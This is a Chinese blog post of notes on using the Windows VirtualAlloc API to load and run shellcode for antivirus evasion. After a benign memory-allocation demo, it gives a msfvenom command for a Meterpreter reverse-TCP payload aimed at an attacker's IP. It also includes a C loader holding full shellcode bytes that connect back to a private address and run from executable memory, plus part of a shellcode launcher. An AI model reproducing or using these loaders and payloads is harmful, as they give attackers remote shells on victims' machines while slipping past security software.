VirtualAlloc加载shellcode免杀一点记录
VirtualAlloc加载shellcode免杀一点记录
一个很好的学习网站 推荐一下:
https://docs.microsoft.com/zh-cn/windows/win32/api/
0x01 VirtualAlloc
VirtualAlloc:
在虚拟地址空间中预定一块内存区域;
VirtualAlloc是Windows提供的API,通常用来分配大块的内存。
PVOID VirtualAlloc(PVOID pvAddress, SIZE_T dwSize, DWORD fdwAllocationType, DWORD fdwProtect)
VirtualAlloc (PVOID 开始地址,SIZE_T 大小,DWORD 类型,DWORD 保护属性)
VirtualQuery
SIZE_T WINAPI VirtualQuery(
_In_opt_ LPCVOID lpAddress,
_Out_ PMEMORY_BASIC_INFORMATION lpBuffer,
_In_ SIZE_T dwLength
);
#include "stdafx.h" #include "Windows.h" #include "iostream" using namespace std; int _tmain(int argc, _TCHAR* argv[]) { //申请内存区域 BYTE* pByte = (BYTE*)VirtualAlloc(NULL,64 * 1024,MEM_RESERVE,PAGE_READWRITE); if (pByte != NULL) { cout<<"申请内存成功!"<<endl; } MEMORY_BASIC_INFORMATION mbi; DWORD dwNumByte = VirtualQuery(pByte,&mbi,sizeof(mbi)); cout<<"BaseAddress "<<mbi.BaseAddress<<endl; cout<<"AllocationBase "<<mbi.AllocationBase<<endl; cout<<mbi.AllocationProtect<<endl; if (mbi.State == MEM_COMMIT) { ZeroMemory(pByte,64 * 1024); memcpy(pByte,_T("分配虚拟内存成功-1"),sizeof(_T("分配虚拟内存成功-1"))); cout<<pByte<<endl; } else { VirtualAlloc(pByte,64 * 1024,MEM_COMMIT,PAGE_READWRITE); cout<<"调拨物理存储器成功!"<<endl; } ZeroMemory(pByte,64 * 1024); memcpy(pByte,_T("分配虚拟内存成功-2"),sizeof(_T("分配虚拟内存成功-2"))); cout<<pByte<<endl; VirtualFree(pByte,0,MEM_RELEASE); system("pause"); return 0; }
MEMORY_BASIC_INFORMATION结构
包含有关进程的虚拟地址空间中的页面范围的信息。该 VirtualQuery来和 VirtualQueryEx函数使用这种结构。
句法
typedef struct _MEMORY_BASIC_INFORMATION {
PVOID BaseAddress;
PVOID AllocationBase;
DWORD AllocationProtect;
SIZE_T RegionSize;
DWORD State;
DWORD Protect;
DWORD Type;
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
BaseAddress
A pointer to the base address of the region of pages.
AllocationBase
A pointer to the base address of a range of pages allocated by the VirtualAlloc function. The page pointed to by the BaseAddressmember is contained within this allocation range.
AllocationProtect
The memory protection option when the region was initially allocated. This member can be one of the memory protection constantsor 0 if the caller does not have access.
RegionSize
The size of the region beginning at the base address in which all pages have identical attributes, in bytes.
State
The state of the pages in the region. This member can be one of the following values.
0x02 shellcode Bypass
msf c shellcode:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -f c
demo1:
#include <Windows.h> #include <stdio.h> using namespace std; int main(int argc,char **argv){ char ShellCode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54" "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x11\x8d" "\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50" "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67" "\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff" "\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00" "\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56" "\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58" "\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5" "\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85" "\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1" "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, ShellCode, sizeof ShellCode); ((void(*)())exec)(); return 0; }
shellcode_launcher:
#include <stdio.h> #include <stdlib.h> #include <ctype.h> #include <Windows.h> #define EXTRA_SPACE 0x10000 #define MAX_REG_NAME_SIZE 4 #define REG_EAX 0 #define REG_EBX 1 #define REG_ECX 2 #define REG_EDX 3 #define REG_EDI 4 #define REG_ESI 5 #define REG_MAX 6 #define MAX_OPEN_FILES 10 char* regNames[] = { "eax", "ebx", "ecx", "edx", "edi", "esi" }; #define NUM_REGISTERS 6 typedef void(*void_func_ptr)(void); unsigned char callNext[] = { 0xe8, 0x00, 0x00, 0x00, 0x00, //call $+5 }; #if 0 unsigned char callPopEdi[] = { 0xe8, 0x00, 0x00, 0x00, 0x00, //call $+5 0x5f //pop edi }; #endif unsigned char popRegInstr[] = { 0x58, //eax 0x5b, //ebx 0x59, //ecx 0x5a, //edx 0x5f, //edi 0x5e //esi }; #if 0 unsigned char addEdiImmediate[] = { 0x81, 0xc7 // add edi, <32-bit immediate> }; #endif unsigned char addRegImmediate[][2] = { { 0x81, 0xc0 }, //add eax, 0x11223344: 81c0 44332211 { 0x81, 0xc3 }, //add ebx, 0x11223344: 81c3 44332211 { 0x81, 0xc1 }, //add ecx, 0x11223344: 81c1 44332211 { 0x81, 0xc2 }, //add edx, 0x11223344: 81c2 44332211 { 0x81, 0xc6 }, //add esi, 0x11223344: 81c6 44332211 { 0x81, 0xc7 }, //add edi, 0x11223344: 81c7 44332211 }; unsigned char jmp32bitOffset[] = { 0xe9 // jmp <32-bit immediate_offset> }; unsigned char breakpoint[] = { 0xcc // int3 }; struct FileInfo { int index; char* names[MAX_OPEN_FILES]; HANDLE handles[MAX_OPEN_FILES]; }; struct ConfigurationData { int doBp; DWORD startOff; DWORD baseAddress; char* shellcodeFilename; DWORD shellcodeSize; int setRegStart[NUM_REGISTERS]; int setRegEnd[NUM_REGISTERS]; struct FileInfo readFiles; struct FileInfo writeFiles; struct FileInfo readWriteFiles; struct FileInfo loadedLibraries; }; void usage(void) { printf("Usage: shellcode_launcher.exe\n"); printf("shellcode_launcher.exe -i <shellcode_filename> -o <offset> -ba <base_address> [-bp] [-r <in_filename>]\n [-w <in_filename>] [-L <lib_name] [-<reg>][+<reg>]\n"); printf(" <shellcode_filename> is the binary containing the shellcode to execute\n"); printf(" <offset> is the (decimal) offset into the shellcode to start executing\n"); printf(" <base_address> is your preferred base address to insert the shellcode (i.e. 0xFD0000\n"); printf(" <in_filename> is an additional file to open, either readonly (-r) \n"); printf(" or writeable (-w), such as for a malicious PDF the shellcode\n"); printf(" requires an open handle for\n"); printf(" -<reg>: load register <reg> with a pointer to the start of the shellcode\n"); printf(" +<reg>: load register <reg> with a pointer to the end of the shellcode\n"); printf(" -bp: add a breakpoint prior to jumping into the shellcode\n"); printf(" -L <lib_name>: Load library <libname> during initialization\n"); } int isStrEqual(const char *s1, const char*s2) { return (0 == strncmp(s1, s2, strlen(s2))); } void checkExtraArgument(int argc, int currI, char* argFlag) { if((currI+1) >= argc) { printf("Missing argument to %s", argFlag); usage(); exit(1); } } int isRegisterCommand(const char *source, char plusMinus) { char localSource[MAX_REG_NAME_SIZE]; unsigned int i; if(!source) { return -1; } if(source[0] != plusMinus) { return -1; } size_t len = strlen(source); if(len > MAX_REG_NAME_SIZE) { return -1; } memset(localSource, 0, sizeof(localSource)); for(i=0; i<len; i+=1) { localSource[i] = (char)tolower(source[i+1]); } for(i=0; i<REG_MAX; i++) { //if(isStrEqual(localSource, regNames[i])) { if(!strcmp(localSource, regNames[i])) { //found a match, return the current reg index return i; } } //if got here, no matches return -1; } // Returns -1 on error, else 0 on success int doLoadLibraries(struct ConfigurationData* config) { int i; for(i=0; i<config->loadedLibraries.index; i++) { printf("Trying to LoadLibrary: %s\n", config->loadedLibraries.names[i]); HMODULE libHandle = LoadLibrary(config->loadedLibraries.names[i]); if(libHandle == NULL) { printf("Error loading library %s: 0x%08\n", config->loadedLibraries.names[i], GetLastError()); return -1; } config->loadedLibraries.handles[i] = libHandle; } return 0; } int doCreateFiles(struct ConfigurationData* config) { int i; //open read-only files for(i=0; i<config->readFiles.index; i++) { HANDLE inFile = INVALID_HANDLE_VALUE; printf("Opening readable file: %s\n", config->readFiles.names[i]); inFile = CreateFile(config->readFiles.names[i], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (inFile == INVALID_HANDLE_VALUE) { printf("Couldn't open file %s: %08x\n", config->readFiles.names[i], GetLastError()); return 1; } config->readFiles.handles[i] = inFile; } return 0; }
mingw32编的有点问题 vs编的
------------------------------------------------------------------------------------
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 地球OL攻略 —— 某应届生求职总结
· 提示词工程——AI应用必不可少的技术
· Open-Sora 2.0 重磅开源!
· 字符编码:从基础到乱码解决